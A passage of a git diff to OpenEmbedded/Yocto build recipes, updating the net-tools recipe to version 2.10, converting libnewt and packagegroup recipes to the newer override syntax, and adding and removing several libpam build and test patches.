remove all temp files before leaving, because do_patch() will pop -# up all previously applied patches in the start -nettools_do_patch() { - cd ${S} - # it's important that we only pop the existing patches when they've - # been applied, otherwise quilt will climb the directory tree - # and reverse out some completely different set of patches - if [ -d ${S}/patches ]; then - # whilst this is the default directory, doing it like this - # defeats the directory climbing that quilt will otherwise - # do; note the directory must exist to defeat this, hence - # the test inside which we operate - QUILT_PATCHES=${S}/patches quilt pop -a - fi - if [ -d ${S}/.pc-nettools ]; then - rm -rf ${S}/.pc - mv ${S}/.pc-nettools ${S}/.pc - QUILT_PATCHES=${S}/debian/patches quilt pop -a - rm -rf ${S}/.pc ${S}/debian - fi - patch -p1 < ${WORKDIR}/${BPN}_${PV}.diff - QUILT_PATCHES=${S}/debian/patches quilt push -a - mv ${S}/.pc ${S}/.pc-nettools -} - -do_unpack[cleandirs] += "${S}" - -# We invoke base do_patch at end, to incorporate any local patch -python do_patch() { - bb.build.exec_func('nettools_do_patch', d) - bb.build.exec_func('patch_do_patch', d) -} - -do_configure() { - # net-tools has its own config mechanism requiring "make config" - # we pre-generate desired options and copy to source directory instead - cp ${WORKDIR}/net-tools-config.h ${S}/config.h - cp ${WORKDIR}/net-tools-config.make ${S}/config.make - - if [ "${USE_NLS}" = "no" ]; then - sed -i -e 's/^I18N=1/# I18N=1/' ${S}/config.make - fi -} - -do_compile() { - # net-tools use COPTS/LOPTS to allow adding custom options - oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS" -} - -do_install() { - # We don't need COPTS or LOPTS, but let's be consistent. - oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS" BASEDIR=${D} INSTALLNLSDIR=${D}${datadir}/locale mandir=${mandir} install - - if [ "${base_bindir}" != "/bin" ]; then - mkdir -p ${D}/${base_bindir} - mv ${D}/bin/* ${D}/${base_bindir}/ - rmdir ${D}/bin - fi - if [ "${base_sbindir}" != "/sbin" ]; then - mkdir ${D}/${base_sbindir} - mv ${D}/sbin/* ${D}/${base_sbindir}/ - rmdir ${D}/sbin - fi -} - -inherit update-alternatives - -base_sbindir_progs = "arp ifconfig ipmaddr iptunnel mii-tool nameif plipconfig rarp route slattach" -base_bindir_progs = "dnsdomainname domainname hostname netstat nisdomainname ypdomainname" - -ALTERNATIVE_${PN} = "${base_sbindir_progs} ${base_bindir_progs}" -ALTERNATIVE_${PN}-doc += "hostname.1 dnsdomainname.1" -ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1" -ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1" -ALTERNATIVE_PRIORITY[hostname.1] = "10" - -python __anonymous() { - for prog in d.getVar('base_sbindir_progs').split(): - d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog)) - for prog in d.getVar('base_bindir_progs').split(): - d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog)) -} -ALTERNATIVE_PRIORITY = "100" - -BBCLASSEXTEND = "native nativesdk" diff --git a/meta/recipes-extended/net-tools/net-tools_2.10.bb b/meta/recipes-extended/net-tools/net-tools_2.10.bb new file mode 100644 index 0000000000..33304297ec --- /dev/null +++ b/meta/recipes-extended/net-tools/net-tools_2.10.bb @@ -0,0 +1,121 @@ +SUMMARY = "Basic networking tools" +DESCRIPTION = "A collection of programs that form the base set of the NET-3 networking distribution for the Linux operating system" +HOMEPAGE = "http://net-tools.berlios.de/" +BUGTRACKER = "http://bugs.debian.org/net-tools" +LICENSE = "GPL-2.0-or-later" +LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ + file://ifconfig.c;beginline=11;endline=15;md5=d1ca372080ad5401e23ca0afc35cf9ba" + +SRCREV = "80d7b95067f1f22fece9537dea6dff53081f4886" +SRC_URI = "git://git.code.sf.net/p/net-tools/code;protocol=https;branch=master \ + file://net-tools-config.h \ + file://net-tools-config.make \ + file://Add_missing_headers.patch \ +" + +S = "${WORKDIR}/git" + +inherit gettext + +# The Makefile is lame, no parallel build +PARALLEL_MAKE = "" + +PACKAGECONFIG ??= "hostname arp serial plip" +PACKAGECONFIG[hostname] = "" +PACKAGECONFIG[arp] = "" +PACKAGECONFIG[serial] = "" +PACKAGECONFIG[plip] = "" +PACKAGECONFIG[slattach] = "" +PACKAGECONFIG[plipconfig] = "" + +do_configure() { + # net-tools has its own config mechanism requiring "make config" + # we pre-generate desired options and copy to source directory instead + cp ${WORKDIR}/net-tools-config.h ${S}/config.h + cp ${WORKDIR}/net-tools-config.make ${S}/config.make + + if [ "${USE_NLS}" = "no" ]; then + sed -i -e 's/^I18N=1/# I18N=1/' ${S}/config.make + fi + + if ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'true', 'false', d)} ; then + echo "#define HAVE_HOSTNAME_TOOLS 1" >> ${S}/config.h + echo "#define HAVE_HOSTNAME_SYMLINKS 1" >> ${S}/config.h + echo "HAVE_HOSTNAME_TOOLS=1" >> ${S}/config.make + echo "HAVE_HOSTNAME_SYMLINKS=1" >> ${S}/config.make + fi + if ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'true', 'false', d)} ; then + echo "#define HAVE_ARP_TOOLS 1" >> ${S}/config.h + echo "HAVE_ARP_TOOLS=1" >> ${S}/config.make + fi + if ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'true', 'false', d)} ; then + echo "#define HAVE_SERIAL_TOOLS 1" >> ${S}/config.h + echo "HAVE_SERIAL_TOOLS=1" >> ${S}/config.make + fi + if ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'true', 'false', d)} ; then + echo "#define HAVE_PLIP_TOOLS 1" >> ${S}/config.h + echo "HAVE_PLIP_TOOLS=1" >> ${S}/config.make + fi +} + +do_compile() { + # net-tools use COPTS/LOPTS to allow adding custom options + oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS" +} + +do_install() { + # We don't need COPTS or LOPTS, but let's be consistent. + oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS" BASEDIR=${D} INSTALLNLSDIR=${D}${datadir}/locale mandir=${mandir} install + + if [ "${base_bindir}" != "/bin" ]; then + mkdir -p ${D}/${base_bindir} + mv ${D}/bin/* ${D}/${base_bindir}/ + rmdir ${D}/bin + fi + if [ "${base_sbindir}" != "/sbin" ]; then + mkdir ${D}/${base_sbindir} + mv ${D}/sbin/* ${D}/${base_sbindir}/ + rmdir ${D}/sbin + fi +} + +inherit update-alternatives + +base_sbindir_progs = "ipmaddr iptunnel mii-tool nameif \ + ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'arp rarp', '', d)} \ + ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'plipconfig', '', d)} \ + ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'slattach', '', d)} \ +" +base_bindir_progs = "ifconfig netstat route \ + ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'dnsdomainname domainname hostname nisdomainname ypdomainname', '', d)} \ +" + +ALTERNATIVE:${PN} = "${base_sbindir_progs} ${base_bindir_progs}" +ALTERNATIVE:${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'hostname.1 dnsdomainname.1', '', d)}" +ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1" +ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1" +ALTERNATIVE_PRIORITY[hostname.1] = "10" + +python __anonymous() { + for prog in d.getVar('base_sbindir_progs').split(): + d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog)) + for prog in d.getVar('base_bindir_progs').split(): + d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog)) +} +ALTERNATIVE_PRIORITY = "100" + +NETTOOLS_PACKAGES = "${PN}-mii-tool" +NETTOOLS_PACKAGES:class-native = "" + +PACKAGE_BEFORE_PN = "${NETTOOLS_PACKAGES}" +RDEPENDS:${PN} += "${NETTOOLS_PACKAGES}" + +FILES:${PN}-mii-tool = "${base_sbindir}/mii-tool" + +ALTERNATIVE:${PN}:remove = "mii-tool" + +ALTERNATIVE:${PN}-mii-tool = "mii-tool" +ALTERNATIVE_TARGET[mii-tool] = "${base_sbindir}/mii-tool" +ALTERNATIVE_LINK_NAME[mii-tool] = "${base_sbindir}/mii-tool" + +BBCLASSEXTEND = "native nativesdk" diff --git a/meta/recipes-extended/newt/libnewt_0.52.21.bb b/meta/recipes-extended/newt/libnewt_0.52.21.bb index 88b4cf4a03..430e481b36 100644 --- a/meta/recipes-extended/newt/libnewt_0.52.21.bb +++ b/meta/recipes-extended/newt/libnewt_0.52.21.bb @@ -11,7 +11,7 @@ slang library." HOMEPAGE = "https://releases.pagure.org/newt/" SECTION = "libs" -LICENSE = "LGPLv2" +LICENSE = "LGPL-2.0-only" LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2" # slang needs to be >= 2.2 @@ -29,7 +29,7 @@ SRC_URI[sha256sum] = "265eb46b55d7eaeb887fca7a1d51fe115658882dfe148164b6c49fccac S = "${WORKDIR}/newt-${PV}" -inherit autotools-brokensep python3native python3-dir +inherit autotools-brokensep python3native python3-dir python3targetconfig EXTRA_OECONF = "--without-tcl --with-python" @@ -39,20 +39,20 @@ CLEANBROKEN = "1" export CPPFLAGS -PACKAGES_prepend = "whiptail ${PN}-python " +PACKAGES:prepend = "whiptail ${PN}-python " -RDEPENDS_${PN}-python += "python3-core" -FILES_${PN}-python = "${PYTHON_SITEPACKAGES_DIR}/*" +RDEPENDS:${PN}-python += "python3-core" +FILES:${PN}-python = "${PYTHON_SITEPACKAGES_DIR}/*" -do_configure_prepend() { +do_configure:prepend() { sh autogen.sh } -do_compile_prepend() { +do_compile:prepend() { # Make sure the recompile is OK rm -f ${B}/.depend } -FILES_whiptail = "${bindir}/whiptail" +FILES:whiptail = "${bindir}/whiptail" BBCLASSEXTEND = "native nativesdk" diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb b/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb index 7501837937..b17cba4a78 100644 --- a/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb +++ b/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb @@ -13,7 +13,7 @@ VIRTUAL-RUNTIME_vim ?= "vim-tiny" PACKAGE_ARCH = "${MACHINE_ARCH}" -RDEPENDS_${PN} = "\ +RDEPENDS:${PN} = "\ base-passwd \ bash \ bind-utils \ @@ -21,8 +21,8 @@ RDEPENDS_${PN} = "\ coreutils \ cpio \ ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "debianutils-run-parts", d)} \ - dhcp-client \ - ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "dhcp-server", d)} \ + dhcpcd \ + ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "kea", d)} \ diffutils \ ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "dpkg-start-stop", d)} \ e2fsprogs \ diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb b/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb index 16c2f9f2aa..b66617fbf6 100644 --- a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb +++ b/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb @@ -10,7 +10,6 @@ inherit packagegroup PACKAGES = "\ packagegroup-core-full-cmdline \ - packagegroup-core-full-cmdline-libs \ packagegroup-core-full-cmdline-utils \ packagegroup-core-full-cmdline-extended \ packagegroup-core-full-cmdline-dev-utils \ @@ -19,44 +18,7 @@ PACKAGES = "\ packagegroup-core-full-cmdline-sys-services \ " -python __anonymous () { - # For backwards compatibility after rename - namemap = {} - namemap["packagegroup-core-full-cmdline"] = "packagegroup-core-basic" - namemap["packagegroup-core-full-cmdline-libs"] = "packagegroup-core-basic-libs" - namemap["packagegroup-core-full-cmdline-utils"] = "packagegroup-core-basic-utils" - namemap["packagegroup-core-full-cmdline-extended"] = "packagegroup-core-basic-extended" - namemap["packagegroup-core-full-cmdline-dev-utils"] = "packagegroup-core-dev-utils" - namemap["packagegroup-core-full-cmdline-multiuser"] = "packagegroup-core-multiuser" - namemap["packagegroup-core-full-cmdline-initscripts"] = "packagegroup-core-initscripts" - namemap["packagegroup-core-full-cmdline-sys-services"] = "packagegroup-core-sys-services" - - packages = d.getVar("PACKAGES").split() - mlprefix = d.getVar("MLPREFIX") - for pkg in packages: - pkg2 = pkg[len(mlprefix):] - if pkg.endswith('-dev'): - mapped = namemap.get(pkg2[:-4], None) - if mapped: - mapped += '-dev' - elif pkg.endswith('-dbg'): - mapped = namemap.get(pkg2[:-4], None) - if mapped: - mapped += '-dbg' - else: - mapped = namemap.get(pkg2, None) - - if mapped: - oldtaskname = mapped.replace("packagegroup-core", "task-core") - mapstr = " %s%s %s%s" % (mlprefix, mapped, mlprefix, oldtaskname) - d.appendVar("RPROVIDES_%s" % pkg, mapstr) - d.appendVar("RREPLACES_%s" % pkg, mapstr) - d.appendVar("RCONFLICTS_%s" % pkg, mapstr) -} - - -RDEPENDS_packagegroup-core-full-cmdline = "\ - packagegroup-core-full-cmdline-libs \ +RDEPENDS:packagegroup-core-full-cmdline = "\ packagegroup-core-full-cmdline-utils \ packagegroup-core-full-cmdline-extended \ packagegroup-core-full-cmdline-dev-utils \ @@ -65,11 +27,7 @@ RDEPENDS_packagegroup-core-full-cmdline = "\ packagegroup-core-full-cmdline-sys-services \ " -RDEPENDS_packagegroup-core-full-cmdline-libs = "\ - glib-2.0 \ - " - -RDEPENDS_packagegroup-core-full-cmdline-utils = "\ +RDEPENDS:packagegroup-core-full-cmdline-utils = "\ bash \ acl \ attr \ @@ -81,7 +39,6 @@ RDEPENDS_packagegroup-core-full-cmdline-utils = "\ file \ findutils \ gawk \ - gmp \ grep \ less \ makedevs \ @@ -99,7 +56,7 @@ RDEPENDS_packagegroup-core-full-cmdline-utils = "\ util-linux \ " -RDEPENDS_packagegroup-core-full-cmdline-extended = "\ +RDEPENDS:packagegroup-core-full-cmdline-extended = "\ iproute2 \ iputils \ iptables \ @@ -107,7 +64,7 @@ RDEPENDS_packagegroup-core-full-cmdline-extended = "\ openssl \ " -RDEPENDS_packagegroup-core-full-cmdline-dev-utils = "\ +RDEPENDS:packagegroup-core-full-cmdline-dev-utils = "\ diffutils \ m4 \ make \ @@ -115,7 +72,7 @@ RDEPENDS_packagegroup-core-full-cmdline-dev-utils = "\ " VIRTUAL-RUNTIME_syslog ?= "sysklogd" -RDEPENDS_packagegroup-core-full-cmdline-initscripts = "\ +RDEPENDS:packagegroup-core-full-cmdline-initscripts = "\ ${VIRTUAL-RUNTIME_initscripts} \ ${VIRTUAL-RUNTIME_init_manager} \ ethtool \ @@ -123,7 +80,7 @@ RDEPENDS_packagegroup-core-full-cmdline-initscripts = "\ ${VIRTUAL-RUNTIME_syslog} \ " -RDEPENDS_packagegroup-core-full-cmdline-multiuser = "\ +RDEPENDS:packagegroup-core-full-cmdline-multiuser = "\ bzip2 \ cracklib \ gzip \ @@ -131,7 +88,7 @@ RDEPENDS_packagegroup-core-full-cmdline-multiuser = "\ sudo \ " -RDEPENDS_packagegroup-core-full-cmdline-sys-services = "\ +RDEPENDS:packagegroup-core-full-cmdline-sys-services = "\ at \ cronie \ logrotate \ diff --git a/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch b/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch deleted file mode 100644 index c55b648139..0000000000 --- a/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch +++ /dev/null @@ -1,68 +0,0 @@ -From 45d1ed58927593968faead7dbb295f3922f41a2f Mon Sep 17 00:00:00 2001 -From: Khem Raj <raj.khem@gmail.com> -Date: Sat, 8 Aug 2015 14:16:43 -0700 -Subject: [PATCH] Add support for defining missing funcitonality - -In order to support alternative libc on linux ( musl, bioninc ) etc we -need to check for glibc-only features and provide alternatives, in this -list strndupa is first one, when configure detects that its not included -in system C library then the altrnative implementation from missing.h is -used - -Signed-off-by: Khem Raj <raj.khem@gmail.com> ---- -Upstream-Status: Pending - - configure.ac | 3 +++ - libpam/include/missing.h | 12 ++++++++++++ - modules/pam_exec/pam_exec.c | 1 + - 3 files changed, 16 insertions(+) - create mode 100644 libpam/include/missing.h - -diff --git a/configure.ac b/configure.ac -index 9e1257f..cbed979 100644 ---- a/configure.ac -+++ b/configure.ac -@@ -599,6 +599,9 @@ dnl - AC_CHECK_DECL(__NR_keyctl, [have_key_syscalls=1],[have_key_syscalls=0],[#include <sys/syscall.h>]) - AC_CHECK_DECL(ENOKEY, [have_key_errors=1],[have_key_errors=0],[#include <errno.h>]) - -+# musl and bionic don't have strndupa -+AC_CHECK_DECLS_ONCE([strndupa]) -+ - HAVE_KEY_MANAGEMENT=0 - if test $have_key_syscalls$have_key_errors = 11 - then -diff --git a/libpam/include/missing.h b/libpam/include/missing.h -new file mode 100644 -index 0000000..3cf011c ---- /dev/null -+++ b/libpam/include/missing.h -@@ -0,0 +1,12 @@ -+#pragma once -+ -+#if !HAVE_DECL_STRNDUPA -+#define strndupa(s, n) \ -+ ({ \ -+ const char *__old = (s); \ -+ size_t __len = strnlen(__old, (n)); \ -+ char *__new = alloca(__len + 1); \ -+ __new[__len] = '\0'; \ -+ memcpy(__new, __old, __len); \ -+ }) -+#endif -diff --git a/modules/pam_exec/pam_exec.c b/modules/pam_exec/pam_exec.c -index 17ba6ca..3aa2694 100644 ---- a/modules/pam_exec/pam_exec.c -+++ b/modules/pam_exec/pam_exec.c -@@ -59,6 +59,7 @@ - #include <security/pam_modutil.h> - #include <security/pam_ext.h> - #include <security/_pam_macros.h> -+#include <missing.h> - - #define ENV_ITEM(n) { (n), #n } - static struct { --- -2.1.4 - diff --git a/meta/recipes-extended/pam/libpam/0001-run-xtests.sh-check-whether-files-exist.patch b/meta/recipes-extended/pam/libpam/0001-run-xtests.sh-check-whether-files-exist.patch new file mode 100644 index 0000000000..40040a873a --- /dev/null +++ b/meta/recipes-extended/pam/libpam/0001-run-xtests.sh-check-whether-files-exist.patch @@ -0,0 +1,65 @@ +From e8e8ccfd57e0274b431bc5717bf37c488285b07b Mon Sep 17 00:00:00 2001 +From: Mingli Yu <mingli.yu@windriver.com> +Date: Wed, 27 Oct 2021 10:30:46 +0800 +Subject: [PATCH] run-xtests.sh: check whether files exist + +Fixes: + # ./run-xtests.sh . tst-pam_access1 + mv: cannot stat '/etc/security/opasswd': No such file or directory + PASS: tst-pam_access1 + mv: cannot stat '/etc/security/opasswd-pam-xtests': No such file or directory + ================== + 1 tests passed + 0 tests not run + ================== + +Upstream-Status: Backport [https://github.com/linux-pam/linux-pam/commit/e8e8ccfd57e0274b431bc5717bf37c488285b07b] + +Signed-off-by: Mingli Yu <mingli.yu@windriver.com> +--- + xtests/run-xtests.sh | 20 +++++++++++++------- + 1 file changed, 13 insertions(+), 7 deletions(-) + +diff --git a/xtests/run-xtests.sh b/xtests/run-xtests.sh +index 14f585d9..ff9a4dc1 100755 +--- a/xtests/run-xtests.sh ++++ b/xtests/run-xtests.sh +@@ -18,10 +18,12 @@ all=0 + + mkdir -p /etc/security + for config in access.conf group.conf time.conf limits.conf ; do +- cp /etc/security/$config /etc/security/$config-pam-xtests ++ [ -f "/etc/security/$config" ] && ++ mv /etc/security/$config /etc/security/$config-pam-xtests + install -m 644 "${SRCDIR}"/$config /etc/security/$config + done +-mv /etc/security/opasswd /etc/security/opasswd-pam-xtests ++[ -f /etc/security/opasswd ] && ++ mv /etc/security/opasswd /etc/security/opasswd-pam-xtests + + for testname in $XTESTS ; do + for cfg in "${SRCDIR}"/$testname*.pamd ; do +@@ -47,11 +49,15 @@ for testname in $XTESTS ; do + all=`expr $all + 1` + rm -f /etc/pam.d/$testname* + done +-mv /etc/security/access.conf-pam-xtests /etc/security/access.conf +-mv /etc/security/group.conf-pam-xtests /etc/security/group.conf +-mv /etc/security/time.conf-pam-xtests /etc/security/time.conf +-mv /etc/security/limits.conf-pam-xtests /etc/security/limits.conf +-mv /etc/security/opasswd-pam-xtests /etc/security/opasswd ++ ++for config in access.conf group.conf time.conf limits.conf opasswd ; do ++ if [ -f "/etc/security/$config-pam-xtests" ]; then ++ mv /etc/security/$config-pam-xtests /etc/security/$config ++ else ++ rm -f /etc/security/$config ++ fi ++done ++ + if test "$failed" -ne 0; then + echo "===================" + echo "$failed of $all tests failed" +-- +2.32.0 + diff --git a/meta/recipes-extended/pam/libpam/crypt_configure.patch b/meta/recipes-extended/pam/libpam/crypt_configure.patch deleted file mode 100644 index 917a8af64d..0000000000 --- a/meta/recipes-extended/pam/libpam/crypt_configure.patch +++ /dev/null @@ -1,40 +0,0 @@ -From b86575ab4a0df07da160283459da270e1c0372a0 Mon Sep 17 00:00:00 2001 -From: "Maxin B. John" <maxin.john@intel.com> -Date: Tue, 24 May 2016 14:11:09 +0300 -Subject: [PATCH] crypt_configure - -This patch fixes a case where it find crypt defined in libc (musl) but -not in specified libraries then it ends up assigning -LIBCRYPT="-l" which then goes into makefile cause all sort of problems -e.g. - -ld: cannot find -l-m32 -| collect2: error: ld returned 1 exit status -The reason is that -l appears on commandline with -out any library and compiler treats the next argument as library name -whatever it is. - -Upstream-Status: Pending - -Signed-off-by: Khem Raj <raj.khem@gmail.com> -Signed-off-by: Maxin B. John <maxin.john@intel.com> ---- - configure.ac | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/configure.ac b/configure.ac -index df39d07..e68d856 100644 ---- a/configure.ac -+++ b/configure.ac -@@ -401,7 +401,7 @@ AS_IF([test "x$ac_cv_header_xcrypt_h" = "xyes"], - [crypt_libs="crypt"]) - - BACKUP_LIBS=$LIBS --AC_SEARCH_LIBS([crypt],[$crypt_libs], LIBCRYPT="${ac_lib:+-l$ac_lib}", LIBCRYPT="") -+AC_SEARCH_LIBS([crypt],[$crypt_libs], [test "$ac_cv_search_crypt" = "none required" || LIBCRYPT="$ac_cv_search_crypt"]) - AC_CHECK_FUNCS(crypt_r crypt_gensalt_r) - LIBS=$BACKUP_LIBS - AC_SUBST(LIBCRYPT) --- -2.4.0 - diff --git a/meta/recipes-extended/pam/libpam/include_paths_header.patch b/meta/recipes-extended/pam/libpam/include_paths_header.patch deleted file mode 100644 index e4eb95669b..0000000000 --- a/meta/recipes-extended/pam/libpam/include_paths_header.patch +++ /dev/null @@ -1,59 +0,0 @@ -This patch adds missing include for paths.h which should provide -_PATH_LASTLOG definition - -Upstream-Status: Pending - -Signed-off-by: Khem Raj <raj.khem@gmail.com> -Index: Linux-PAM-1.1.6/modules/pam_lastlog/pam_lastlog.c -=================================================================== ---- Linux-PAM-1.1.6.orig/modules/pam_lastlog/pam_lastlog.c -+++ Linux-PAM-1.1.6/modules/pam_lastlog/pam_lastlog.c -@@ -23,9 +23,11 @@ - #include <stdarg.h> - #include <stdio.h> - #include <string.h> -+#include <sys/file.h> - #include <sys/types.h> - #include <syslog.h> - #include <unistd.h> -+#include <paths.h> - - #if defined(hpux) || defined(sunos) || defined(solaris) - # ifndef _PATH_LASTLOG -@@ -332,6 +334,23 @@ last_login_read(pam_handle_t *pamh, int - return retval; - } - -+#ifndef __GLIBC__ -+static void logwtmp(const char * line, const char * name, const char * host) -+{ -+ struct utmp u; -+ memset(&u, 0, sizeof(u)); -+ -+ u.ut_pid = getpid(); -+ u.ut_type = name[0] ? USER_PROCESS : DEAD_PROCESS; -+ strncpy(u.ut_line, line, sizeof(u.ut_line)); -+ strncpy(u.ut_name, name, sizeof(u.ut_name)); -+ strncpy(u.ut_host, host, sizeof(u.ut_host)); -+ gettimeofday(&(u.ut_tv), NULL); -+ -+ updwtmp(_PATH_WTMP, &u); -+} -+#endif /* __GLIBC__ */ -+ - static int - last_login_write(pam_handle_t *pamh, int announce, int last_fd, - uid_t uid, const char *user) -Index: Linux-PAM-1.1.6/modules/Makefile.am -=================================================================== ---- Linux-PAM-1.1.6.orig/modules/Makefile.am -+++ Linux-PAM-1.1.6/modules/Makefile.am -@@ -7,7 +7,7 @@ SUBDIRS = pam_access pam_cracklib pam_de - pam_group pam_issue pam_keyinit pam_lastlog pam_limits \ - pam_listfile pam_localuser pam_loginuid pam_mail \ - pam_mkhomedir pam_motd pam_namespace pam_nologin \ -- pam_permit pam_pwhistory pam_rhosts pam_rootok pam_securetty \ -+ pam_permit pam_pwhistory pam_rootok pam_securetty \ - pam_selinux pam_sepermit pam_shells pam_stress \ - pam_succeed_if pam_tally pam_tally2 pam_time pam_timestamp \ - pam_tty_audit pam_umask \ diff --git a/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch b/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch deleted file mode 100644 index 9b8d4c2975..0000000000 --- a/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch +++ /dev/null @@ -1,203 +0,0 @@ -Description: extract the securetty logic for use with the "nullok_secure" option - introduced in the "055_pam_unix_nullok_secure" patch. - -Upstream-Status: Pending - -Signed-off-by: Ming Liu <ming.liu@windriver.com> -=================================================================== -Index: Linux-PAM-1.3.0/modules/pam_securetty/Makefile.am -=================================================================== ---- Linux-PAM-1.3.0.orig/modules/pam_securetty/Makefile.am -+++ Linux-PAM-1.3.0/modules/pam_securetty/Makefile.am -@@ -24,6 +24,10 @@ endif - securelib_LTLIBRARIES = pam_securetty.la - pam_securetty_la_LIBADD = $(top_builddir)/libpam/libpam.la - -+pam_securetty_la_SOURCES = \ -+ pam_securetty.c \ -+ tty_secure.c -+ - if ENABLE_REGENERATE_MAN - noinst_DATA = README - README: pam_securetty.8.xml -Index: Linux-PAM-1.3.0/modules/pam_securetty/pam_securetty.c -=================================================================== ---- Linux-PAM-1.3.0.orig/modules/pam_securetty/pam_securetty.c -+++ Linux-PAM-1.3.0/modules/pam_securetty/pam_securetty.c -@@ -1,7 +1,5 @@ - /* pam_securetty module */ - --#define SECURETTY_FILE "/etc/securetty" --#define TTY_PREFIX "/dev/" - #define CMDLINE_FILE "/proc/cmdline" - #define CONSOLEACTIVE_FILE "/sys/class/tty/console/active" - -@@ -40,6 +38,9 @@ - #include <security/pam_modutil.h> - #include <security/pam_ext.h> - -+extern int _pammodutil_tty_secure(const pam_handle_t *pamh, -+ const char *uttyname); -+ - #define PAM_DEBUG_ARG 0x0001 - #define PAM_NOCONSOLE_ARG 0x0002 - -@@ -73,11 +74,7 @@ securetty_perform_check (pam_handle_t *p - const char *username; - const char *uttyname; - const void *void_uttyname; -- char ttyfileline[256]; -- char ptname[256]; -- struct stat ttyfileinfo; - struct passwd *user_pwd; -- FILE *ttyfile; - - /* log a trail for debugging */ - if (ctrl & PAM_DEBUG_ARG) { -@@ -105,50 +102,7 @@ securetty_perform_check (pam_handle_t *p - return PAM_SERVICE_ERR; - } - -- /* The PAM_TTY item may be prefixed with "/dev/" - skip that */ -- if (strncmp(TTY_PREFIX, uttyname, sizeof(TTY_PREFIX)-1) == 0) { -- uttyname += sizeof(TTY_PREFIX)-1; -- } -- -- if (stat(SECURETTY_FILE, &ttyfileinfo)) { -- pam_syslog(pamh, LOG_NOTICE, "Couldn't open %s: %m", SECURETTY_FILE); -- return PAM_SUCCESS; /* for compatibility with old securetty handling, -- this needs to succeed. But we still log the -- error. */ -- } -- -- if ((ttyfileinfo.st_mode & S_IWOTH) || !S_ISREG(ttyfileinfo.st_mode)) { -- /* If the file is world writable or is not a -- normal file, return error */ -- pam_syslog(pamh, LOG_ERR, -- "%s is either world writable or not a normal file", -- SECURETTY_FILE); -- return PAM_AUTH_ERR; -- } -- -- ttyfile = fopen(SECURETTY_FILE,"r"); -- if (ttyfile == NULL) { /* Check that we opened it successfully */ -- pam_syslog(pamh, LOG_ERR, "Error opening %s: %m", SECURETTY_FILE); -- return PAM_SERVICE_ERR; -- } -- -- if (isdigit(uttyname[0])) { -- snprintf(ptname, sizeof(ptname), "pts/%s", uttyname); -- } else { -- ptname[0] = '\0'; -- } -- -- retval = 1; -- -- while ((fgets(ttyfileline, sizeof(ttyfileline)-1, ttyfile) != NULL) -- && retval) { -- if (ttyfileline[strlen(ttyfileline) - 1] == '\n') -- ttyfileline[strlen(ttyfileline) - 1] = '\0'; -- -- retval = ( strcmp(ttyfileline, uttyname) -- && (!ptname[0] || strcmp(ptname, uttyname)) ); -- } -- fclose(ttyfile); -+ retval = _pammodutil_tty_secure(pamh, uttyname); - - if (retval && !(ctrl & PAM_NOCONSOLE_ARG)) { - FILE *cmdlinefile; -Index: Linux-PAM-1.3.0/modules/pam_securetty/tty_secure.c -=================================================================== ---- /dev/null -+++ Linux-PAM-1.3.0/modules/pam_securetty/tty_secure.c -@@ -0,0 +1,90 @@ -+/* -+ * A function to determine if a particular line is in /etc/securetty -+ */ -+ -+ -+#define SECURETTY_FILE "/etc/securetty" -+#define TTY_PREFIX "/dev/" -+ -+/* This function taken out of pam_securetty by Sam Hartman -+ * <hartmans@debian.org>*/ -+/* -+ * by Elliot Lee <sopwith@redhat.com>, Red Hat Software. -+ * July 25, 1996. -+ * Slight modifications AGM. 1996/12/3 -+ */ -+ -+#include <unistd.h> -+#include <sys/types.h> -+#include <sys/stat.h> -+#include <security/pam_modules.h> -+#include <stdarg.h> -+#include <syslog.h> -+#include <sys/syslog.h> -+#include <stdio.h> -+#include <string.h> -+#include <stdlib.h> -+#include <ctype.h> -+#include <security/pam_modutil.h> -+#include <security/pam_ext.h> -+ -+extern int _pammodutil_tty_secure(const 